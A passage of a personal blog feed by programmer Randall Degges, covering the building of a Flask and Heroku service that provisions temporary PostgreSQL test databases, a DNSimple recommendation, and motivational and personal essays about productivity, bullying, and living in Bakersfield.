Close your laptop, turn off your phone, and spend 15 minutes in a quiet room by yourself. If you don’t have this luxury, I’d recommend putting on some headphones and listening to some calm music with your eyes closed.

Try not to think about anything. Clear your mind! The easiest way to do this is to focus on your breathing. Close your eyes, sit still, and take slow, deep breaths. In your mind, think the following two words to yourself as you breathe: in and out, in and out.

If another thought pops into your mind: “I don’t have time for this! I’ve got to email that customer!”, just remember what you’re doing, and refocus on breathing. If you can manage to do this for about 15 minutes, not only will you feel a lot more relaxed, but more importantly, you’ll feel calm.

All those stresses yelling in your head will now only be whispering. You’ll be the one in charge again. Instead of being a slave to your tasks, you’ll be the master.

I find that working in a calm state is far more productive. I think clearer, feel happier, write better, and build better things. Maybe you will too.

NOTE: If you’ve never heard of mindfulness meditation, what I’ve described above is more-or-less a form of it. You may enjoy this book on the topic (highly recommended).

Building postgression (an API Development Story)

r@rdegges.com (Randall Degges) — Tue, 29 Jan 2013 00:00:00 -0800

Last week my friend Alven and I launched a new service for developers using PostgreSQL: postgression. postgression is a simple web service that allows you (a programmer) to instantly provision a free PostgreSQL database that automatically disappears after 30 minutes.

Why would you use this? Primarily for testing code: running unit tests, integration tests, etc. It’s handy because using postgression means you don’t need to configure (or even run) PostgreSQL server locally just so you can run some tests.

Since launch, postgression has gotten some decent usage. To date there have been:

1,167 total databases created.
229 unique users.

While these aren’t huge numbers, we’re seeing consistent usage, which means some developers (whoever you are, thanks!) are using the service to run their unit tests daily.

I’m not going to talk about why we created postgression in this article (if you’re interested, you can read my last article), but instead, I’d like to talk about how we built postgression.

Since this was a fun project to build (it’s been something I’ve wanted to make for a while now), I figured I’d share how we did it, as some of you may appreciate the technical aspects. From here on out things are going to get technical :)

Tools

To build postgression Alven and I used Flask, a popular Python web framework. We ended up using the following Python libraries:

To host our project website, we used GitHub pages (it’s just a simple static site).

To host our actual API service, as well as power the entire PostgreSQL database back end functionality, we used Heroku (the most awesome hosting platform ever built).

To keep track of our usage statistics and metrics, we used ducksboard, a really awesome company that gives you a dashboard you can customize to your liking (it displays stuff like Google Analytics, custom metrics, etc.). Also: ducksboard was nice enough to give us a free account, as postgression is a free service. If you’re interested in a sexy dashboard for your company (or personal projects), you should check them out!

The Backbone of It All: Heroku

As you can probably imagine (after seeing the tools listed above), Heroku is really the core of postgression, and is what makes the service possible (and affordable!).

Heroku is a web application hosting platform, that allows you to easily deploy your applications (Python, Ruby, Java, Javascript, etc.). We’re using Heroku several ways to make postgression work.

We’re using Heroku to run our postgression API (http://api.postgression.com). Heroku runs our Flask application that powers the entire thing. When users make an HTTP request to postgression’s API, it hits Heroku’s servers and stuff happens.
We’re using Heroku PostgreSQL (the largest hosted PostgreSQL service in the world, by the way) to instantly provision PostgreSQL databases for our users.
We’re using Heroku’s API to automatically provision and deprovision the PostgreSQL databases on Heroku.
We’re using the Heroku Scheduler to run periodic tasks (like cron). Right now this includes: updating our metrics on our ducksboard dashboard, deprovisioning databases older than 30 minutes, etc.
We’re using Redis To Go as our Redis host. We use Redis for preventing abuse of the system by throttling requests based on public IP address. Each public IP is allowed to provision no more than 100 databases per hour.

After we wrote the initial code for postgression, deploying the entire thing to Heroku (including setting up cron, Redis, and PostgreSQL) took only a few minutes. Big kudos to the Heroku team for rocking so hard.

And since I know many of you will ask, here’s how much it is currently costing us to run postgression, along with a price breakdown:

1 domain name through DNSimple (the best registrar ever) $14 / year.
1 web dyno to power the postgression API: $0 / month.
1 Heroku basic database for powering our postgression PostgreSQL database (this is what we use to track our databases states): $9 / month.
1 Redis To Go database: $0 / month.
Heroku Scheduler usage (you pay by the minute for extra computing resources if you go beyond the free tier): $0 / month.
PostgreSQL backups on AWS powered by Heroku’s pgbackups addon: $0 / month.

Total cost for running this service (per month)? ~11$

Flask and APIs

As I mentioned earlier, we wrote the code for postgression in python and Flask. Why did we choose these technologies? A few reasons:

I’m extremely familiar with python and Flask.
Alven had almost no experience with python, so it would be a fun learning experience for him.
Flask makes writing small web services extremely simple (there’s very little you have to know to build a functioning service).

For instance, here’s the ‘core’ of our Flask app. Note how simple this is, compared to the typically heavy amount of base framework code you’ll find other places.

Our view code is equally straightforward, and our models aren’t too bad either :)

Here’s how the API logic works:

A user makes a request to the API (api.postgression.com).
We get the user’s public IP, and increment their usage count in Redis using Flask-Cache. If the user has gone above the 100 allowed requests per hour throttle, we return a HTTP 403 FORBIDDEN code.
We check (using Heroku’s API) to see if we have any Heroku apps currently provisioned that are not using 100% of their allotted database slots (each Heroku app allows you to provision a maximum of 30 PostgreSQL databases).
If there is a Heroku app available, we use Heroku’s Addon API (https://api-docs.heroku.com/addons) to provision a new Heroku PostgreSQL database.
If there is no Heroku app available, we create a new Heroku app using the Heroku App API (https://api-docs.heroku.com/apps), then provision a new Heroku PostgreSQL database inside the newly created app.
We then check the user’s request to see if they want their database credentials back as a PostgreSQL connection string, or as a JSON dictionary, and return the credentials appropriately.

In the background, we have a cron job running every 10 minutes which de-provisions any Heroku PostgreSQL databases that were created 30 minutes ago (or more) using Heroku’s API.

Simple, right? When it all comes together, we get the following behavior (screenshot below).

Database Layout

As I mentioned above, postgression uses PostgreSQL itself to keep track of all the Heroku resources it consumes. This makes it easy for us to keep track of things like:

Usage statistics.
How many active Heroku databases we have.
Which databases need to be de-provisioned (any database more than 30 minutes old).
How many Heroku applications we currently have (and if they’re running at capacity or not).

Stuff like that.

To make all that work, we used Flask-SQLAlchemy to define two simple database models:

HerokuApp, which keeps track of all our Heroku applications.
HerokuDB, which keeps track of all our Heroku databases, who created them, which Herou app they belong to, when they were created, etc.

Here’s how they ended up looking:

Management Commands and Monitoring

In order to automatically send statistics to our shiny new ducksboard dashboard (pictured below), we used Flask-Script to write some simple management commands that are ran automatically by the Heroku Scheduler every 10 minutes.

Writing the cron tasks using Flask-Script is really simple, and makes running automated tasks a breeze. Below are a couple of the tasks (screenshot), which we can run with the python manage.py blah command.

Pretty easy, right?

Building our Website with GitHub Pages

The last thing we did was throw together a simple website using GitHub Pages. While Alven and I can both throw together a simple website, we figured we’d roll with the simplest option available.

Essentially what we did was put all our documentation (in Markdown format) into our project’s README.md. Then, using the ‘Automatic Page Generator’ (available under your GitHub repository settings), we imported our README file, picked a theme, and published the site.

After it was published, I made some small tweaks, but nothing too big.

The end result? We got the public website going (http://www.postgression.com/) in about 10 minutes.

Takeaways

Building postgression has been really fun. While it’s not a complex project by any means, it’s been on my TODO list for a while, and throwing it online has been an interesting experience.

Both Alven and I are constantly amazed by:

How cheap it is to build a fully functional web service on Heroku.
How simple it is to deploy code to Heroku, and make updates.
How easy it is to build a REST API using Flask.
How fast you can throw together a decent looking web page on GitHub.

I’d also like to give one last shout out to all the Heroku guys (and gals). They’ve built an amazing service, and allowed me to build an entire Database-Testing-as-a-Service API on top of their platform for almost no cost.

If you’re interested in postgression at all, be sure to give it a go and check out our website: http://www.postgression.com/

If you’d like to know more about postgression, feel free to leave a comment or shoot me an email (r@rdegges.com).

:(

r@rdegges.com (Randall Degges) — Fri, 25 Jan 2013 00:00:00 -0800

Yesterday I came across this post, written by a really great programmer, and it immediately struck a chord with me. If you haven’t read it already, I’ll sum it up for you here.

Heather Arthur published some code to her GitHub account, and was saddened to discover some really popular programmers were discussing her project on Twitter, with nothing nice to say about it. If you read her thoughts (http://harthur.wordpress.com/2013/01/24/771/), you’ll get a better understanding.

Shortly after I read her story, I noticed that it ended up getting a lot of attention on Hacker News (a news site for tech folk). One of the most amazing things about Heather’s story is that it appears to have really resonated with a lot of people (not just myself), seeing as how the story currently has over 1224 upvotes, and 742 user comments: enormous numbers for a Hacker News story. (The Hacker News discussion can be found here: http://news.ycombinator.com/item?id=5106767.)

While there are certainly a lot of different opinions and feelings floating around Hacker News about the story, it seems to me that an overwhelming number of programmers felt similarly: being mean to other people (whether it’s via Twitter or in person) is not acceptable.

Why did this story garnish so much attention and discussion in the tech community? I believe it’s because we (tech people) have seen so much bullying and negativity that when someone brings up the topic in a raw way, it really gets to us.

It doesn’t matter who you are: everyone has felt the way Heather has at one point or another. Whether you were bullied in school, dealt verbal abuse by friends or partners, or been the target of subtle attacks (online or offline), everyone can associate with the feeling of being bullied–and I believe we can all agree: it doesn’t feel good.

In my line of work (I’m a programmer, writer, and entrepreneur), I’ve seen so many unnecessarily nasty comments made to people, so many mean (and condescending) tweets, and so many harsh words thrown around, that reading about Heather’s experience seems ‘all too common’.

This makes me feel sad.

It makes me feel sad because the tech community is focused around education and intelligence. People write programs, share their creations with others, teach, and generally try to make better technology. Most people in the tech community are constantly trying to learn new things, write better code, and solve problems. With so much emphasis on learning and education in the tech community, the very idea that other people would harshly criticize their peers (in public) seems almost laughable: but it happens.

The reason so many people are upset in the tech community, and the reason opinions and discussion get so heated, is that everyone can associate with Heather–but instead of pointing fingers of blame, we should all take a moment to do some self reflection.

Nobody is perfect. Everyone says and does things that contradict their lifelong purpose: it’s human nature to make mistakes.

Is it natural to get angry? Ya.

Is it natural to say mean things from time to time? Certainly.

The best we can do (as people) is to accept our faults, and work to better ourselves. Whether this means apologizing to the people you’ve hurt, analyzing your thoughts and actions, or making an effort to be more positive and helpful as opposed to negative and hurtful–if everyone makes an effort to consciously improve their behavior, this world will be a kinder, nicer place.

I feel sad today, but tomorrow is a new day. A new chance to get out there, build awesome things, and help others do the same!

Be awesome to each other.

postgression - A PostgreSQL Database for Every Test Case

r@rdegges.com (Randall Degges) — Sun, 20 Jan 2013 00:00:00 -0800

The following are some facts about me:

I write a lot of software.
In order for me to write good software, I often write tests for my software. Code that makes sure my business logic works on data from my database. Code that makes sure my web requests return the right thing. You name it, I’ve probably tested it.
I do 100% of my development on a Linux laptop.
I usually run my tests on my laptop while I’m coding, as well as a remote Jenkins server (and sometimes Travis CI instance) that run all my tests to make sure I didn’t forget to do so locally.
I hate running a database server on my laptop, I hate running a database server on my Jenkins instance, and I hate telling my test code how to run tests against my testing databases on all the different types of machines I use.

Over the past year or so, I’ve become really annoyed at having to configure my database in all my environments. I love PostgreSQL (it’s an awesome database), but I can’t stand the idea of running it locally on my laptop, just so I can make some tests work. I also can’t stand the annoyance of having to SSH into my Jenkins server, configure PostgreSQL, and then write code which tells my tests to distinguish between my local PostgreSQL stuff and my Jenkins PostgreSQL stuff–and don’t even get me started on configuring it to work in all 3 environments: locally, on Jenkins, and on Travis. Ugh.

I think what annoys me about this is that setting up a database isn’t hard, I just think it’s stupid to have to remember to do it for each new project. It feels like I’m repeating the same thing over and over again, and each time I do it, I become slightly more annoyed.

So this past week, my buddy Alven and I teamed up to solve this mini-problem for ourselves. The result is our new service, postgression.

postgression is a simple web service, built on top of Heroku’s platform (Don’t know about Heroku yet? Read my book.), that instantly provisions a new PostgreSQL server (PostgreSQL 9.2.3, to be precise) for you to use in your tests.

Here’s how it works: you hit our public facing API (no account required), and we give you back a PostgreSQL database URL that you can use in your application. For example:

$ curl 'http://api.postgression.com'
postgres://username:password@hostname:port/dbname

Simple, right? So now that you’ve got the database, you have your tests run against this database (which is available in Amazon’s US East region, in case you’re curious), and that’s it!

Finally, after 30 minutes, this database will magically disappear.

So, why is this useful? Well, using postgression to generate a database for your tests means that:

You can run your tests locally without needing to install PostgreSQL server.
You can run your tests locally, remotely (on Jenkins / Travis / etc.) using all the same configuration–no need to do any custom scripting or environment checking.
It costs you nothing.

Is this the most useful service in the world? Nope. But I love it, I’ve been using it, and it’s made my testing quite a bit simpler.

Today I’m really happy to open postgression up to the public. Alven and I have created some handy tools on our GitHub page, which make using postgression easier, and we’ve written some basic documentation on the postgression website to help you get started.

If you’ve got any questions, comments, concerns, or otherwise, I’d absolutely love to hear them. I hope you’ll give postgression a try!

Check out postgression here.

Being Awesome

r@rdegges.com (Randall Degges) — Mon, 10 Dec 2012 00:00:00 -0800

If you want to be awesome, then go be awesome.

Code the stuff you want to code. Build the business you want to build. Lift the weights. Lose the weight. Go the extra mile.

Don’t listen to anyone else, just get out there, do what you love, and fucking KICK ASS along the way.

Don’t yield for anyone.

Why You Might Enjoy Using DNSimple

r@rdegges.com (Randall Degges) — Tue, 27 Nov 2012 00:00:00 -0800

Practically everyone I know involved in the tech industry has a preferred domain name registrar / DNS provider. I’ve used quite a few different companies myself over the years, and have come to really, really like DNSimple.

DNSimple is, in my experience, the simplest, most elegant, and best all around domain name registrar and DNS provider. Since I often get the What registrar do you use? question when talking with friends online, I figured I’d chronicle my experiences with DNSimple here.

If you’re already a DNSimple customer, you may enjoy this article regardless. If you’re not yet a DNSimple customer, but are already sold, you can sign up here and both you and I will get a free month of service.

Interface

DNSimple has an awesome interface. The company is built around the idea that DNS should be simple, and their interface reflects this.

Below are some screenshots of my personal DNSimple account.

I love their interface. Their UI is simple and elegant. You can easily register and transfer domains. You can easily update DNS records manually using their advanced editor (which is, by far, the simplest DNS editor I’ve ever used), and you can even use their pre-built DNS templates to instantly add DNS records to your domain (for stuff like Google Apps, Heroku, Cloudflare, etc.).

If you find yourself frequently applying similar DNS rules, you can even create your own custom DNS templates, which allows you to perform one-click DNS record additions to as many domains as you’d like.

Lastly, DNSimple doesn’t try to up-sell you additional services. Purchasing a domain name takes two clicks, and there are no spammy ads or any other junk preventing you from doing what you want to do: purchase your damn domain name!

URL Forwarding

What has quickly become one of my favorite lesser known DNSimple features is their URL forwarding service. This allows you to create a DNS ‘URL’ record which redirects users to your desired location.

This works great for instances where your site runs under the www sub-domain, and you’d like to force all users who visit your naked domain (e.g. mysite.com) to be redirected to your www sub-domain (e.g. www.mysite.com). If you’re wondering why I use www instead of naked domains, see this article (it’s worth your time).

Below is a screen shot from one of my domains–you can see my URL record and how it forwards.

SSL

Another great thing about DNSimple is their excellent SSL handling.

For some reason, every registrar I’ve ever used has made purchasing SSL certificates a confusing, frustrating, and slow experience. DNSimple is the only company I’ve worked with that actually makes purchasing and using SSL certificates simple and straightforward.

Below is what their SSL certificate purchasing page looks like. See how simple that is?

Once you’ve purchased a certificate, DNSimple adds a nice SSL certificate section to your domain page, which allows you to easily download or copy and paste your SSL details for usage with your provider. If you’re using Heroku, there’s a guide you can follow to get up and running with SSL and DNSimple.

API

Another thing that really bugs me about most registrars is that they have no easily accessible API. Since domain names are primarily managed by programmers, this has always felt completely unacceptable to me.

Luckily, DNSimple has a really great REST API, along with excellent API documentation and a bunch of client libraries.

There are even some great tools you can use, built on top of the DNSimple API–worth checking out if you’d like to see some real-world DNSimple API examples.

Price

DNSimple is very reasonably priced. They charge a small per-month membership fee depending on how many domains you have (see their plan page for details), and they support a long list of TLDs (see their TLD pricing page here).

Support

Among registrars I’ve used, DNSimple has, by far, the best support. I’ve sent them several support emails with questions over the past year or so, and each time I’ve received an email answer immediately (from a developer).

Each time I’ve talked with someone at the company, I’ve been extremely impressed by the speed (and accuracy) of service.

Final Thoughts

DNSimple is, without question, my favorite domain name registrar and DNS provider. They’ve been able to live up to their name and really make DNS–simple.

If you’re shopping around for a new registrar, I’d highly recommend you give DNSimple a shot, I guarantee you’ll like them.

The only gripe I have about DNSimple is only that they don’t (yet) have an Android app! (They do have an Iphone app, if you’re an IOS guy.)

Anyhow, if you’d like to give DNSimple a shot, create an account now: https://dnsimple.com/.

A Year in Bakersfield

r@rdegges.com (Randall Degges) — Mon, 26 Nov 2012 00:00:00 -0800

For the past year, I’ve been living in a relatively small city in central California: Bakersfield.

Last year (a week before Thanksgiving Day), my wife’s employer gave her an immediate (urgent) promotion, and we quickly packed our bags in Los Angeles and moved ~2 hours north to Bakersfield.

I’ve been working at home the past few years, so my wife and I decided when we got married (almost 3 years ago!) that we’d move wherever was most advantageous for her work.

When we started the move, I had essentially no knowledge about Bakersfield. I pretty much assumed it was a small little city in the middle of nowhere, and that I’d be surrounded (more or less) by farmland.

Since people are always pretty shocked when I tell them I live in Bakersfield, I figured I’d take a few minutes to reflect on the past year of being here. Next time you hear about Bakersfield, you’ll be able to relate :)

A Horrible Reputation

Throughout California (unbeknownst to me at the time), Bakersfield has a pretty bad reputation. When we got the news that we were moving to Bakersfield, my wife and I started talking with our friends to see what they knew. Among other things, we heard:

It was full of drug addicts.
It was really small.
There was nothing to do in the city.
It smelled nasty.
It was filled with rampant racism.
It was dangerous to live there.

After hearing all the horrible stories people told us, my wife and I basically made a pact to ourselves: we’ll just tough things out and deal with it however crappy it may be. When we loaded up our Uhaul and headed to an extended stay in Bakersfield’s downtown area, we expected the worst.

First Impressions

The place my wife’s company put us up in when we moved was a really run-down extended stay hotel. This was my first time staying in an extended stay hotel, and I learned what extended stay really means: a smaller than average hotel room with no room service.

Within the first few days we saw a drug deal go down in the hotel parking lot, the doorman smoking weed and other drugs outside the guest windows, and many loud arguments–it wasn’t pretty.

In addition to the crappy hotel we were staying in, the weather was insane. My wife and I figured that since Bakersfield is only ~2 hours north of LA that the weather would likely be the same–we were totally wrong.

Through winter (November -> April) Bakersfield is freezing cold. Like 30F cold. There was routinely ice on the grass in the morning, and throughout the day the temperature was a cold 45F -> 55F.

I only own shorts and t-shirts (I live in California, don’t judge me!), so I ended up making abundant use of the toe heater in my car.

Other than the hotel and weather–the city smelled like farmland. The smell you get when driving through a cow farm–that sort of thing. A mixture of manure and fog is the best way I can describe it. Luckily, this must have been a temporary thing (wind blowing the scent?), because we only experienced it for a few days, after which it seemed to go away (it comes back from time-to-time).

The people, however, were awesome. Everyone we met seemed really friendly and welcoming, which made us feel a lot better about the move. Coming from Los Angeles, having people say “hi” to you as you walk down the street is an odd feeling. Both my wife and I were really surprised that everyone was so nice.

Exploring

Once my wife got acclimated to her new work, we started apartment hunting and exploring the city. We looked at a ton of different apartment complexes in various parts of the city, and asked a lot of questions.

Bakersfield is broken into quadrants (for the most part). You’ve got north-west, north-east, south-west, and south-east. What we learned along the way is that east Bakersfield is a lot more run down and “ghost town-ish” than the rest of the city.

North West Bakersfield (in particular) is a very nice area–filled with lots of new buildings and residential areas (shopping strips, restaurants, etc.). With such a low cost of living in the area, you can get an amazing apartment in North West Bakersfield for almost nothing.

My wife and I eventually landed a really nice 3 bedroom 2 bath apartment (enormous square footage) in a beautiful complex next to a very nice public park for only 1225$ per month.

Other than driving around throughout the city looking for places to live, we also went hunting for nice places to hang out. After lots of exploration, we found some beautiful city parks: Hart Park and The Park and Riverwalk, nice jogging (and biking) trails, and a few great restaurants (Salty’s BBQ is amazing).

We also joined the local gym which, despite its horrible online reviews, has been really nice.

After a couple of months, we felt right at home.

The City

What a lot of people don’t seem to realize about Bakersfield is that it isn’t all that different from Los Angeles. It wasn’t obvious to me at first, but shortly after moving here I realized some of the similarities:

There are a lot of people. Bakersfield has over 400k people living here, so it isn’t exactly a small city.
There is traffic congestion (especially during your standard work hours). While it isn’t as bad as LA, it’s still frustraing and slow.
There’s a lot of pollution. Bakersfield is a big oil company town, and the air quality here is notoriously bad.
There are tons of different stores, shopping outlets, bars, and plenty of things to do.
You need a car to get around, as there is no suitable public transportation to get you around the city.

The differences between Bakersfield and Los Angeles were immediately apparent:

Cost of living is a lot lower. You can get an amazing apartment and have a very high standard of living for a lot less than is possible in LA.
Bakersfield is a lot less diverse than Los Angeles. While there are a lot of different people here, it seems that there is a majority of older white people (from what I’ve seen).
There is no technical community here at all. There’s not a single tech meetup. There are no programmers with active github accounts (other than mine). There are no tech companies (that I’ve seen).

A majority of the people living here work for the big oil companies, so there are a ton of huge SUVs and trucks everywhere, and most people work in the oil fields all day.

Location

Bakersfield is in central California. It’s 1 -> 2 hours away from Los Angeles (depending on traffic), and 4 -> 5 hours away from the Bay Area (depending on traffic).

Since the city is relatively close to both Southern and Northern California, my wife and I have had a pretty good time driving around to go to events. We tend to head to either Los Angeles or the Bay Area once or twice a month, which forces us to get out of the house and go do something interesting with our friends in tech.

With only a 2 hour or 5 hour drive to go to either LA or SF, getting on a plane isn’t even worth it. Unfortunately, however, after you’ve made several multi-hour drives, it tends to wear you out quite a bit–and each time I decide to go to an event, I have to take commute into heavy consideration, as it will be an all day affair.

Isolation

One of the things I’ve enjoyed most about my time in Bakersfield has been the isolation. Since moving here last year, I’ve been more or less isolated from all my typical duties: events, celebrations, etc. (with several exceptions). I’ve tried to make the most of this isolation, and use it as a productivity tool.

In the past year I’ve spent a ton of time learning new technical things, writing a book, launching a company, building lots of open source libraries, and working on personal development.

I’ve also pushed myself harder than I have in the past, and have experimented with various motivation and productivity strategies to help stay focused and continue building cool things.

Overall, I’ve gotten a lot done, and have had a lot of fun doing it.

While living in Bakersfield is certainly not for everyone, I’ve really enjoyed my time here. For me, Bakersfield has been a nice cozy cabin, where I’ve been able to focus on my work and myself without distraction–while being close enough to larger cities to visit semi-frequently.

At the moment, both my wife and I are currently looking for a new adventure. We’re currently debating between heading up north (Portland or the Bay Area), heading south to LA again, or possibly going overseas. In the next several months we’ll choose a destination and head out.

If you happen to be driving through Bakersfield in the near future, or want to chat about the city, feel free to shoot me an email: r@rdegges.com.

Time Off

r@rdegges.com (Randall Degges) — Sun, 25 Nov 2012 00:00:00 -0800

This year for Thanksgiving, I did something I don’t normally do: I took some time away from the computer.

Since both my work and hobby involve programming, it is rare that a day passes for me in which I don’t do at least a little bit of coding. If I had to guess, I’d say that for the better part of the last 5 years I’ve gone at most a dozen days without programming overall.

Since I’ve been putting in a lot of effort lately working on my various projects, I decided that this year I’d actually remove myself from the computer as much as possible around the holidays so I could spend more time with my family, and attempt to loosen up a bit.

From Wednesday through Saturday night, I didn’t touch a computer (with a single exception, to correct an important issue). While this may sound hilariously simple: I feel great!

The first day was pretty hard to make it through–I had no idea what to do with myself. The second day was much easier–I accepted that I wasn’t going to be doing any coding, and just went with the flow. Had a lot of fun with my family, ate a lot of turkey, and most of all, got to really relax for the first time in a while.

On the third day, my brain kicked into creative mode, and since then I’ve had a ton of great ideas (for work, personal projects, and personal development things) which I’m excited to implement over the coming months.

Although it is common knowledge, I now see exactly how effective taking a break can be. I’ll definitely be doing this more frequently.

Improvement and Perfection

r@rdegges.com (Randall Degges) — Sat, 24 Nov 2012 00:00:00 -0800

I just finished watching a truly excellent movie, Jiro Dreams of Sushi. If you haven’t seen it, I’d highly recommend you watch it (it’s available on Netflix if you’re a subscriber).

I’m all about motivational media, and Jiro Dreams of Sushi happens to be one of the most motivating and happy films I’ve ever watched. This article contains my thoughts on improvement and perfection (the central theme of the movie), since they are still fresh in my mind.

Everyone starts their lives with no skill. As a child you know almost nothing. Your parents and those around you gradually teach you how to live, how to act, how to work, etc., but these skills are gained over time and with practice.

Nobody is born knowing how to write computer software, and nobody is born with the ability to play guitar. Every skill you possess is learned and acquired over time, with lots of practice. If you’d like to become better at playing the guitar, you must deliberately practice playing the guitar–learning to read music, learning the finger positions, learning how things are supposed to sound, etc. No matter how much you like guitar or how much you read about guitar–the only way to get better at your craft is to deliberately practice it.

The more you practice a certain skill, the better you’ll become. If you continuously spend 10 hours a day making sushi, you will undoubtedly become better at making sushi.

In addition to practicing your craft, you can also improve your skill by striving for perfection in your craft, and holding yourself to a high standard. For instance–if you make sushi each day for 10 hours, this alone is not enough to push you past a certain point of success.

To continue improving your sushi, you also need to strive for perfection. You need to pay close attention to each detail of the process. You must perfect the art of cooking the rice, slicing the fish, marinating the meats, and a number of other things.

As you make sushi each day, you need to be strict with yourself. You must taste your sushi as it is being prepared to ensure it is up to your standards. You must continue to experiment with your dishes and flavors to ensure they are not only great, but as close to perfection as possible.

Each day you should practice your craft and strive for perfection, regardless of whether you’re preparing sushi or writing software.

I think this lesson holds true for all of life. You should constantly push yourself to be better than the day before. Strive for perfection in every act you perform.

Sometimes You've Got To Kill It

r@rdegges.com (Randall Degges) — Tue, 20 Nov 2012 00:00:00 -0800

I’ve noticed that sometimes, doing the things you enjoy just isn’t enough. Sometimes you need to do more.

I often get that feeling deep down that I’m not being the best I can be–I’m not pushing myself hard enough. I’m not getting out there, doing the stuff I love to do, and completely destroying it. Sometimes I feel weak, tired, and beaten–and the only thing I can think about or focus on is absolute victory.

I find that when I’m in this mindset, there’s only one way to satisfy my craving: to put 100% of my effort into what I’m doing, and absolutely crush it. If I’m working on one of my companies, I’ll do whatever needs to be done to take it to the next level: 4 hour hackathon, 8 hour hackathon, 24 hour hackathon–whatever it takes.

If I’m working on a writing project when I get this urge–I’ll lock myself up in a quiet room and I won’t allow myself to leave until I’ve completely finished what I need to do.

No matter how difficult the task, no matter how much energy or effort it takes, I’ll not only do it–but I’ll do it as best as it can possibly be done.

This is the only way to satisfy the craving.

Sometimes you’ve got to listen to the voice in your head that tells you to just keep going. When you’re feeling down, and there are a million voices telling you to give up–sometimes you need to listen to the one voice that’s telling you to get out there, and kick some ass.

You know that deep down, even though you’re tired, you’re capable of a lot more. Give yourself some credit. Push your limits. If you’re not struggling to advance, you’re falling into the abyss.

Get out there, and kill it.

Ambitions

r@rdegges.com (Randall Degges) — Tue, 13 Nov 2012 00:00:00 -0800

It’s about 1am right now, and instead of sleeping I’m thinking about all the things I want to accomplish, and what I need to do to get there.

While I’m currently really happy with my day-to-day life: I enjoy the things I’m working on each day, I’m constantly learning new skills, I’m pushing myself past my comfort barrier–I’m always craving more.

More skills, more connections, more victories, more struggles, more achievements–more everything. Unfortunately, when I think about these things (which I do quite often), I can’t help but feel a bit guilty.

Internally, there’s always a debate that takes place. One side of me says “You’re happy with what you’re currently doing. Don’t constantly focus on always doing bigger, better things! Be content with yourself now!” While the other side says “Go big! Don’t settle for your current situation. Be happy with yourself, but push yourself outside your limits, and don’t yield!”

It’s a struggle.

On one hand, I can see myself easily “going with the flow” and learning to be content with myself. On the other hand–I don’t want to give up my huge ambitions without a fight.

Is this normal? Does everyone feel this way?

While both sides of the spectrum appeal to me, I must admit I’m quite a bit more fond of the all-or-nothing approach. The idea of struggling through the pain, sacrifice, and discipline of working towards my ambitions seems somewhat romantic.

It’s a fork in the road–but I suppose everyone has to choose at one point or another.

Too Short

r@rdegges.com (Randall Degges) — Tue, 23 Oct 2012 00:00:00 -0700

Some quick thoughts about how life is just too short to do stuff you hate.

If you’re an engineer working on a product you can’t stand, it really isn’t worth it to stick around and keep working on the same thing. If you can code things, you have the power (quite literally) to build your own wealth, however you choose.

Whether you want to work at a big company on a big product (with lots of other engineers), whether you want to work at a tech startup on a product you love (with a few amazing people), whether you want to build a company you’re passionate about, or whether you want to build technology for clients–you have the ability to choose what you work on, and get paid along the way.

Since work is such a large part of life, slaving away on products you hate is probably the fastest way to build stress, burn yourself out, and lower your morale.

If you’re stuck in a position you don’t want to be in, call in sick for a day or two and really think about what you want to do with your time:

Is there something amazing you want to build?
Is there something you really enjoy doing that you’re not doing now?
Can you use your skills in a better way than you are now?

Once you’ve thought it through, don’t go easy on yourself. Make a decision. Hold your ground. Things always seems crazy at first (until you do them), so don’t let your fear make your decisions for you.

There’s just not enough time in life to do things you hate, so instead of wasting your time away, just do the things you love to do.

Hack Things at the LA Hackathon

r@rdegges.com (Randall Degges) — Mon, 22 Oct 2012 00:00:00 -0700

I know several things about you right now:

You are more than likely a programmer. I know this because most of my writing here on this site is dedicated to programming, and I doubt you’d be here unless you’re interested in the topic.
You like doing awesome things. I know this because everyone likes doing awesome things.
You want to be better at coding stuff. I know this because if you’re reading blogs about programming, you’re probably interested in becoming a better programmer. Everyone wants to improve at the things they love.

Given those assumptions, I’m here to tell you that if you live in California, you should really be going to the LA Hackathon on November 4, 2012. It doesn’t matter whether you’re in Eureka, SF, Los Gatos, or San Diego–if you live in California, code stuff, and like being awesome, you should make plans (right now!) to go to this event.

Here’s why:

This event is all about working on open source software, and contributing to the community. It doesn’t matter how great of a coder you are–if you’re passionate about building fucking amazing software, hacking on open source projects is an excellent way to get better. As an added benefit, your work will be helping other people, and that’s always a good thing.

NOTE: Don’t have an open source project to work on? Don’t fucking sweat it! There are going to be lots of people to collaborate with–you can get involved on someone else’s project, join one of the groups, or start something completely new.

You’re going to meet amazing people. This event is filled with awesome programmers. The people hosting it are incredibly well known kick ass programmers, and the people coming are equally bad ass. Regardless of whether you’re an intro or extrovert, you’ll be making some awesome friends, guaranteed.

BREAKFAST. LUNCH. DINNER. Need I say more? The food is always good (I know from experience), and you will have some awesome jet fuel in your tummy to help you rock your software all day long.

“Idea Guy Security”. Know those idea guys that are always going to tech meetups and bothering you? Those dudes who just need a programmer for 5 hours to implement the next Facebook? Those same dudes who heckle you all night trying to get you to work for free on their Instagram clone? Those guys are getting kicked out at the door. This event is famous for kicking recruiters, idea guys, and non-programmers out before they get in. This means you’ll be surrounded by awesome programmers all day, and won’t have to worry about business people bothering you.

You’re going to have fun. If you’ve never been in a room full of programmers, all hacking away on awesome stuff and chatting–it’s a beautiful thing. This is the 5th LA Hackathon, and each time they seem to get better and better. I always end up writing amazing code, meeting really awesome people, and having a blast.

In conclusion, you should really be going to this thing. It’s a fucking TON of fun, filled with amazing guys (and gals), and worth a long drive and the 10$ ticket price.

If you’d like to sign up, you can do so here: http://www.meetup.com/LA-Hackathons/events/85658952/.

Be sure to get your ticket quick though, this event ALWAYS SELLS OUT, and is incredibly popular. There are only 150 open slots this time, so get yours now!

Hope to see you there >:)

Freeing Up Your Time

r@rdegges.com (Randall Degges) — Fri, 19 Oct 2012 00:00:00 -0700

I’m a huge proponent of being lazy. And of course, by being lazy, I mean being smart.

In my line of work (building tech companies), there are constantly a million separate things to do, worry about, and focus on at any given time. One day you’ll be reaching out to customers all day long, and another day you’ll be furiously fixing bugs and adding features. No matter what happens, there is never a shortage of things that just have to get done.

When you’re completely swamped with things to do, all of high importance, it seems like every little thing you worry about adds fifty pounds to your shoulders. It’s really easy to get overwhelmed by all the little things: remembering to pay your rent, buy toothpaste, generate the billing reports for your company, etc. Every single tiny little thing you have to do, each day / week / month / year adds up.

